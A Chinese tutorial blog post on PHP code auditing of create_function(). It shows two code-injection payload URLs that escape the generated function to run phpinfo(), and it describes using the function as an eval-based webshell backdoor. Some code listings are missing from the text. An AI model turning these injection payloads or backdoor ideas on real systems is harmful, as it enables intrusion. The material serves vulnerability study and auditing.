天天看點

php代碼審計的函數,PHP代碼審計之create_function()函數

0x00 create_function()簡介

适用範圍:PHP 4> = 4.0.1,PHP 5,PHP 7

功能:根據傳遞的參數建立匿名函數,并為其傳回唯一名稱。

文法:

1 create_function(string $args,string $code)2 string $args聲明的函數變量部分3

4 string $code 執行的方法代碼部分

0x01 函數功能分析

案例:

儲存為create.php

php代碼審計的函數,PHP代碼審計之create_function()函數

分析:

create_function()會建立一個匿名函數(lambda樣式)。此處建立了一個叫lambda_1的函數,在第一個echo中顯示出名字,并在第二個echo語句中執行了此函數。

create_function()函數會在内部執行 eval(),我們發現是執行了後面的return語句,屬于create_function()中的第二個參數string $code位置。

是以,上述匿名函數的建立與執行過程等價于:

}?>

create_function()函數在代碼審計中,主要用來查找項目中的代碼注入和回調後門的情況,熟悉了執行流程,我們可以熟練的實作對代碼注入的payload構造,進而進行漏洞挖掘和找出存在的缺陷。

0x02 實作代碼注入的案例

案例1:

payload的構造:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

php代碼審計的函數,PHP代碼審計之create_function()函數

還原實際的組合過程:

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["‘ . $sort_by ‘"]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){return 1 * ‘ . $sorter . ‘($a["‘ . $sort_by ‘"]);}phpinfo();/*}

回車換行整理一下:

function niming($a,$b){return 1 * ‘ . $sorter . ‘($a["‘ . $sort_by ‘"]);

}phpinfo();/*}

案例2:

payload的構造:

http://localhost/test2.php?c=1));}phpinfo();/*

php代碼審計的函數,PHP代碼審計之create_function()函數

還原實際的組合過程:

$lambda=create_function(‘$a,$b‘,"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

function ft($a,$b){return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));

}

回車換行整理一下:

function ft($a,$b){return (strlen($a)-strlen($b)+" . "strlen(1));

}phpinfo();/*));

}

0x03 打造後門

houmen.php

create_function()是可以利用當後門的函數,實際上它是通過執行eval實作(此處相當于一句話木馬),通路如下:

php代碼審計的函數,PHP代碼審計之create_function()函數

0x04 create_function()被高版本 PHP 廢棄

從PHP 7.2.0開始,create_function()被廢棄

原文:https://www.cnblogs.com/zzjdbk/p/12980483.html